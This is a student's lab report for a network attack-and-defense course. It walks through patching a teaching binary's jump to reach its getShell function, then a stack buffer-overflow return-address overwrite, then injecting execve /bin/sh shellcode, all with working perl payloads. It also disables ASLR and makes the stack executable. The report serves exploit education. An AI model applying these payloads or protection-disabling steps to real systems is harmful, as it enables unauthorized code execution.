20252815 2025-2026-2《网络攻防实践》第9次作业
一、实践内容
1. 常用汇编指令
NOP:NOP 指令即“空指令”。执行到 NOP 指令时,CPU 什么也不做,仅仅当做一个指令执行过去并继续执行 NOP 后面的一条指令,通常用于占位、对齐代码或延时。(机器码:90)
JNE:条件转移指令,当零标志位 ZF=0 时跳转(即前一条比较或运算结果不为零或不相等)。(机器码:75)
JE:条件转移指令,当零标志位 ZF=1 时跳转(即前一条比较或运算结果为零或相等)。(机器码:74)
JMP:无条件转移指令。段内直接短转 Jmp short(机器码:EB)段内直接近转移 Jmp near(机器码:E9)段内间接转移 Jmp word(机器码:FF)段间直接(远)转移 Jmp far(机器码:EA)
CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。CMP指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。机器码因操作数类型而异。
2. 反汇编
反汇编 (Disassembly) 是把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思,常用于软件破解(例如找到它是如何注册的,从而解出它的注册码或者编写注册机)、外挂技术、病毒分析、逆向工程、软件汉化等领域
3. 十六进制编程器
十六进制编程器(Hex Editor)是一种直接操作二进制数据的底层编辑工具,它允许用户以十六进制形式查看和修改文件的原始字节,同时常辅以 ASCII 或 Unicode 字符预览,成为逆向工程、数据恢复、固件开发等领域的核心工具。其核心功能不仅限于基础的字节修改,更包含高级特性如正则表达式搜索、二进制差异对比、校验和计算,以及脚本化批量操作。例如在逆向分析恶意软件时,研究者可通过特征码(如 0x4D5A 对应 PE 文件头标志 “MZ”)快速定位程序入口点;在游戏修改中,玩家能直接调整内存中的数值字节(如将 0x3F800000 改为 0x40400000 以实现角色生命值翻倍);嵌入式开发者则依赖此类工具烧录固件,甚至修复因传输错误导致的文件头损坏。
4. shellcode
shellcode 是一段用于利用软件漏洞而执行的代码,shellcode 为16进制的机器码,因为经常让攻击者获得 shell 而得名。shellcode 常常使用机器语言编写。可在暂存器 eip 溢出后,塞入一段可让 CPU 执行的 shellcode 机器码,让电脑可以执行攻击者的任意指令。
5. 缓冲区溢出
计算机程序一般都会使用到一些内存,这些内存或是程序内部使用,或是存放用户的输入数据,这样的内存一般称作缓冲区。溢出是指盛放的东西超出容器容量而溢出来了,在计算机程序中,就是数据使用到了被分配内存空间之外的内存空间。而缓冲区溢出,简单的说就是计算机对接收的输入数据没有进行有效的检测(理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出到被分配空间之外的内存空间,使得溢出的数据覆盖了其他内存空间的数据
二、实践过程
任务:本次实践的对象是一个名为 pwn1 的 linux 可执行文件。该程序正常执行流程是:main 调用 foo 函数,foo 函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用 Shell 。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何 Shellcode。
实践内容:
(1)手工修改可执行文件,改变程序执行流程,直接跳转到 getShell 函数。
(2)利用 foo 函数的 Bof 漏洞,构造一个攻击输入字符串,覆盖返回地址,触发 getShell 函数。
(3)注入一个自己制作的 shellcode 并运行这段 shellcode。
kali虚拟机,输入hostname zyh,更改主机名;
然后将学习通下载的文件pwn1并解压缩;
将pwn1文件存于Desktop ,并在该目录下打开终端;
输入命令:cp pwn1 pwn20252815,对pwn1文件进行保护,防止破坏,并且得到pwn学号文件。

实践1:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
输入objdump -d pwn20252815 | more命令反汇编文件

输入/getShell,快速锁定到getShell、foo和main函数;

输入vi pwn20252815对文件进行修改,显示是源代码格式:

按esc键,输入:%!xxd将其变为16进制,定位到如图位置:

将d7将其改为c3

按esc键,输入:%!xxd -r还原为原格式后,输入:wq保存退出。
再次输入指令"objdump -d pwn20252815 | more"查看反编译结果。可以看出已经调用了"getShell"函数。修改成功

实践2:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
创建一个pwn20252815-2用于实践:

输入 objdump -d pwn20252815-2| more查看foo函数;
foo函数的功能:调用gets读进用户输入的字符串然后用puts函数将字符串输出,但并未检查输入的范围易存在缓冲区溢出,有BOF漏洞。仔细分析后发现foo函数存在漏洞:系统仅预留了0x1c字节的缓冲器,超出部分将发生溢出:

在root权限输入apt install gdb,安装gdb;
输出 gdb pwn20252815-2对文件进行调试,再输入r运行:

输入字符串,进行缓冲区溢出攻击。从图中可以看出显示出现缓冲区溢出错误:

输入 info r 可以看到 eip 的值为 0x35353535 ,即 5555 的 ASCII码;

通过之前的反汇编可知替换为 \x7d\x84\x04\x08 即可修改返回地址,其中 \x0a 表示回车。输入命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20252815 ,输入命令 xxd 20252815 查看文件的内容是否如预期:

输入命令 (cat 20252815; cat) | ./pwn1,将20252815的输入作为 pwn1 的输入;可以看到攻击成功

实践3:注入一个自己制作的shellcode并运行这段shellcode
安装工具execstack_0.0.20131005-1.1_amd64.deb,先下载再解压。
由于不能直接下载成功,所以参考下面的办法:
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

查看是否安装成功

输入 execstack -s pwn1 设置堆栈可执行,输入 execstack -q pwn1 查询文件的堆栈是否可执行

输入 echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化;使用输出重定向将 perl 生成的字符串存储到文件中 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20252815;分别输入more /proc/sys/kernel/randomize_va_space和echo 0 | sudo tee /proc/sys/kernel/randomize_va_space关闭地址随机化

输入 echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化;使用输出重定向将 perl 生成的字符串存储到文件中 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20252815

输入 (cat input_20252815;cat) | ./pwn1 注入攻击;

再打开另一个终端,输入 ps -ef | grep pwn1 查看 pwn1 的进程号,可以看到进程号

输入 gdb pwn1 进行gdb 调试,输入 attach 94452 查看 pwn1 进程;输入 disassemble foo,对 foo 进行反编译;接着输入 break *0x080484ae 在 0x080484ae 处设置断点;

在第一个终端按下回车,在第二个终端输入 c 。输入 info r esp 查看栈顶指针所在的位置为 0xffffd33c,输入命令 x/16x 0xffffd32c 查看存放内容

输入命令 perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_20252815 重新构造shellcode内容,然后输入 (cat input_20252815;cat) | ./pwn1 命令再次运行,可以看到攻击成功

三.学习中遇到的问题及解决
- 问题1:安装execstack,显示安装失败。
- 问题1解决方案:询问ai找到解决办法,通过以下命令能够完成安装:wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb - 问题2:实践1结束后使用quit无法退出。
- 问题2解决方案:询问ai后得知按exit退出。
四.实践总结
本次实验完整模拟了一次缓冲区溢出攻击的流程,从漏洞分析、偏移定位、地址获取到payload构造与利用,加深了对系统底层安全机制的认识。同时,在遇到环境配置等问题时,通过查阅资料、调试排查,提升了独立解决问题的能力。该实验对于理解软件漏洞利用和防御具有重要的实践意义。但是在做实验的过程中还是出现了一些不是很懂的问题,还需要多实践,继续深入学习。
五、参考资料
https://blog.csdn.net/qq_45659359/article/details/147335487
https://blog.csdn.net/WangLal/article/details/113100071
https://www.cnblogs.com/WangAoBo/p/6563760.html
https://blog.csdn.net/m0_65266036/article/details/129678551
https://www.cnblogs.com/daijunxi2019/p/15994636.html

浙公网安备 33010602011771号